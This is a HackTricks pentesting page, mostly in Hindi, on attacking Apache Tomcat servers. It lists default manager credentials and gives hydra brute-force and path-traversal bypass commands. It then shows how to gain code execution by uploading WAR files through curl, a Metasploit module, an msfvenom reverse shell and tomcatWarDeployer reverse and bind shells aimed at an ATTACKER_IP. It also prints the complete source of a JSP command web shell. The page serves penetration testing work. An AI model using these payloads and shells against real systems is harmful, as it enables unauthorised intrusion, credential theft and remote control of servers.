Tomcat
Reading time: 8 minutes
tip
AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE)
HackTricks का समर्थन करें
- सदस्यता योजनाएँ देखें!
- हमारे 💬 Discord समूह या टेलीग्राम समूह में शामिल हों या हमारे Twitter 🐦 @hacktricks_live** का पालन करें।**
- हैकिंग ट्रिक्स साझा करें और HackTricks और HackTricks Cloud गिटहब रिपोजिटरी में PRs सबमिट करें।
Discovery
- यह आमतौर पर port 8080 पर चलता है
- सामान्य Tomcat त्रुटि:
.png)
Enumeration
संस्करण पहचान
Apache Tomcat का संस्करण खोजने के लिए, एक साधारण कमांड निष्पादित की जा सकती है:
curl -s http://tomcat-site.local:8080/docs/ | grep Tomcat
यह दस्तावेज़ अनुक्रमणिका पृष्ठ में "Tomcat" शब्द के लिए खोज करेगा, जो HTML प्रतिक्रिया के शीर्षक टैग में संस्करण को प्रकट करेगा।
प्रबंधक फ़ाइलों का स्थान
/manager
और /host-manager
निर्देशिकाओं के सटीक स्थानों की पहचान करना महत्वपूर्ण है क्योंकि उनके नाम बदले जा सकते हैं। इन पृष्ठों को खोजने के लिए ब्रूट-फोर्स खोज की सिफारिश की जाती है।
उपयोगकर्ता नाम गणना
Tomcat के 6 से पुराने संस्करणों के लिए, उपयोगकर्ता नामों की गणना करना संभव है:
msf> use auxiliary/scanner/http/tomcat_enum
डिफ़ॉल्ट क्रेडेंशियल्स
The /manager/html
directory is particularly sensitive as it allows the upload and deployment of WAR files, which can lead to code execution. This directory is protected by basic HTTP authentication, with common credentials being:
- admin:admin
- tomcat:tomcat
- admin:
- admin:s3cr3t
- tomcat:s3cr3t
- admin:tomcat
These credentials can be tested using:
msf> use auxiliary/scanner/http/tomcat_mgr_login
एक और महत्वपूर्ण निर्देशिका /manager/status
है, जो Tomcat और OS संस्करण को प्रदर्शित करती है, जिससे कमजोरियों की पहचान में मदद मिलती है।
Brute Force Attack
प्रबंधक निर्देशिका पर ब्रूट फोर्स हमले का प्रयास करने के लिए, कोई उपयोग कर सकता है:
hydra -L users.txt -P /usr/share/seclists/Passwords/darkweb2017-top1000.txt -f 10.10.10.64 http-get /manager/html
Along with setting various parameters in Metasploit to target a specific host.
सामान्य कमजोरियाँ
पासवर्ड बैकट्रेस डिस्क्लोजर
/auth.jsp
तक पहुँचने से भाग्यशाली परिस्थितियों में बैकट्रेस के तहत पासवर्ड प्रकट हो सकता है।
डबल URL एन्कोडिंग
mod_jk
में CVE-2007-1860 कमजोरियाँ डबल URL एन्कोडिंग पथ ट्रैवर्सल की अनुमति देती हैं, जो विशेष रूप से तैयार किए गए URL के माध्यम से प्रबंधन इंटरफेस तक अनधिकृत पहुँच सक्षम करती हैं।
Tomcat के प्रबंधन वेब तक पहुँचने के लिए जाएँ: pathTomcat/%252E%252E/manager/html
/examples
Apache Tomcat संस्करण 4.x से 7.x में उदाहरण स्क्रिप्ट शामिल हैं जो जानकारी के प्रकटीकरण और क्रॉस-साइट स्क्रिप्टिंग (XSS) हमलों के प्रति संवेदनशील हैं। इन स्क्रिप्टों की पूरी सूची को अनधिकृत पहुँच और संभावित शोषण के लिए जांचा जाना चाहिए। Find more info here
- /examples/jsp/num/numguess.jsp
- /examples/jsp/dates/date.jsp
- /examples/jsp/snp/snoop.jsp
- /examples/jsp/error/error.html
- /examples/jsp/sessions/carts.html
- /examples/jsp/checkbox/check.html
- /examples/jsp/colors/colors.html
- /examples/jsp/cal/login.html
- /examples/jsp/include/include.jsp
- /examples/jsp/forward/forward.jsp
- /examples/jsp/plugin/plugin.jsp
- /examples/jsp/jsptoserv/jsptoservlet.jsp
- /examples/jsp/simpletag/foo.jsp
- /examples/jsp/mail/sendmail.jsp
- /examples/servlet/HelloWorldExample
- /examples/servlet/RequestInfoExample
- /examples/servlet/RequestHeaderExample
- /examples/servlet/RequestParamExample
- /examples/servlet/CookieExample
- /examples/servlet/JndiServlet
- /examples/servlet/SessionExample
- /tomcat-docs/appdev/sample/web/hello.jsp
पथ ट्रैवर्सल शोषण
कुछ कमजोर कॉन्फ़िगरेशन के Tomcat में आप पथ का उपयोग करके Tomcat में संरक्षित निर्देशिकाओं तक पहुँच प्राप्त कर सकते हैं: /..;/
तो, उदाहरण के लिए, आप Tomcat प्रबंधक पृष्ठ तक पहुँचने में सक्षम हो सकते हैं: www.vulnerable.com/lalala/..;/manager/html
एक और तरीका इस ट्रिक का उपयोग करके संरक्षित पथों को बायपास करने के लिए है: http://www.vulnerable.com/;param=value/manager/html
RCE
अंत में, यदि आपके पास Tomcat वेब एप्लिकेशन प्रबंधक तक पहुँच है, तो आप एक .war फ़ाइल अपलोड और तैनात कर सकते हैं (कोड निष्पादित करें)।
सीमाएँ
आप केवल तभी WAR तैनात कर पाएंगे जब आपके पास पर्याप्त विशेषाधिकार (भूमिकाएँ: admin, manager और manager-script) हों। ये विवरण आमतौर पर tomcat-users.xml के तहत पाए जा सकते हैं जो /usr/share/tomcat9/etc/tomcat-users.xml
में परिभाषित होता है (यह संस्करणों के बीच भिन्न होता है) (देखें POST section)।
# tomcat6-admin (debian) or tomcat6-admin-webapps (rhel) has to be installed
# deploy under "path" context path
curl --upload-file monshell.war -u 'tomcat:password' "http://localhost:8080/manager/text/deploy?path=/monshell"
# undeploy
curl "http://tomcat:Password@localhost:8080/manager/text/undeploy?path=/monshell"
मेटास्प्लॉइट
use exploit/multi/http/tomcat_mgr_upload
msf exploit(multi/http/tomcat_mgr_upload) > set rhost <IP>
msf exploit(multi/http/tomcat_mgr_upload) > set rport <port>
msf exploit(multi/http/tomcat_mgr_upload) > set httpusername <username>
msf exploit(multi/http/tomcat_mgr_upload) > set httppassword <password>
msf exploit(multi/http/tomcat_mgr_upload) > exploit
MSFVenom रिवर्स शेल
- तैनात करने के लिए वार बनाएँ:
msfvenom -p java/jsp_shell_reverse_tcp LHOST=<LHOST_IP> LPORT=<LPORT> -f war -o revshell.war
revshell.war
फ़ाइल अपलोड करें और इसे एक्सेस करें (/revshell/
):
tomcatWarDeployer.py के साथ बाइंड और रिवर्स शेल
कुछ परिदृश्यों में यह काम नहीं करता (उदाहरण के लिए पुराने संस्करणों में सन)
डाउनलोड
git clone https://github.com/mgeeky/tomcatWarDeployer.git
रिवर्स शेल
./tomcatWarDeployer.py -U <username> -P <password> -H <ATTACKER_IP> -p <ATTACKER_PORT> <VICTIM_IP>:<VICTIM_PORT>/manager/html/
बाइंड शेल
./tomcatWarDeployer.py -U <username> -P <password> -p <bind_port> <victim_IP>:<victim_PORT>/manager/html/
Using Culsterd
clusterd.py -i 192.168.1.105 -a tomcat -v 5.5 --gen-payload 192.168.1.6:4444 --deploy shell.war --invoke --rand-payload -o windows
Manual method - Web shell
Create index.jsp with this content:
<FORM METHOD=GET ACTION='index.jsp'>
<INPUT name='cmd' type=text>
<INPUT type=submit value='Run'>
</FORM>
<%@ page import="java.io.*" %>
<%
String cmd = request.getParameter("cmd");
String output = "";
if(cmd != null) {
String s = null;
try {
Process p = Runtime.getRuntime().exec(cmd,null,null);
BufferedReader sI = new BufferedReader(new
InputStreamReader(p.getInputStream()));
while((s = sI.readLine()) != null) { output += s+"</br>"; }
} catch(IOException e) { e.printStackTrace(); }
}
%>
<pre><%=output %></pre>
mkdir webshell
cp index.jsp webshell
cd webshell
jar -cvf ../webshell.war *
webshell.war is created
# Upload it
आप इसे भी स्थापित कर सकते हैं (अपलोड, डाउनलोड और कमांड निष्पादन की अनुमति देता है): http://vonloesch.de/filebrowser.html
Manual Method 2
एक JSP वेब शेल प्राप्त करें जैसे कि this और एक WAR फ़ाइल बनाएं:
wget https://raw.githubusercontent.com/tennc/webshell/master/fuzzdb-webshell/jsp/cmd.jsp
zip -r backup.war cmd.jsp
# When this file is uploaded to the manager GUI, the /backup application will be added to the table.
# Go to: http://tomcat-site.local:8180/backup/cmd.jsp
POST
Tomcat क्रेडेंशियल्स फ़ाइल का नाम tomcat-users.xml
है और यह फ़ाइल टॉमकैट के अंदर उपयोगकर्ता की भूमिका को दर्शाती है।
find / -name tomcat-users.xml 2>/dev/null
उदाहरण:
[...]
<!--
By default, no user is included in the "manager-gui" role required
to operate the "/manager/html" web application. If you wish to use this app,
you must define such a user - the username and password are arbitrary.
Built-in Tomcat manager roles:
- manager-gui - allows access to the HTML GUI and the status pages
- manager-script - allows access to the HTTP API and the status pages
- manager-jmx - allows access to the JMX proxy and the status pages
- manager-status - allows access to the status pages only
-->
[...]
<role rolename="manager-gui" />
<user username="tomcat" password="tomcat" roles="manager-gui" />
<role rolename="admin-gui" />
<user username="admin" password="admin" roles="manager-gui,admin-gui" />
अन्य टॉमकैट स्कैनिंग उपकरण
संदर्भ
- https://github.com/simran-sankhala/Pentest-Tomcat
- https://hackertarget.com/sample/nexpose-metasploitable-test.pdf
tip
AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE)
HackTricks का समर्थन करें
- सदस्यता योजनाएँ देखें!
- हमारे 💬 Discord समूह या टेलीग्राम समूह में शामिल हों या हमारे Twitter 🐦 @hacktricks_live** का पालन करें।**
- हैकिंग ट्रिक्स साझा करें और HackTricks और HackTricks Cloud गिटहब रिपोजिटरी में PRs सबमिट करें।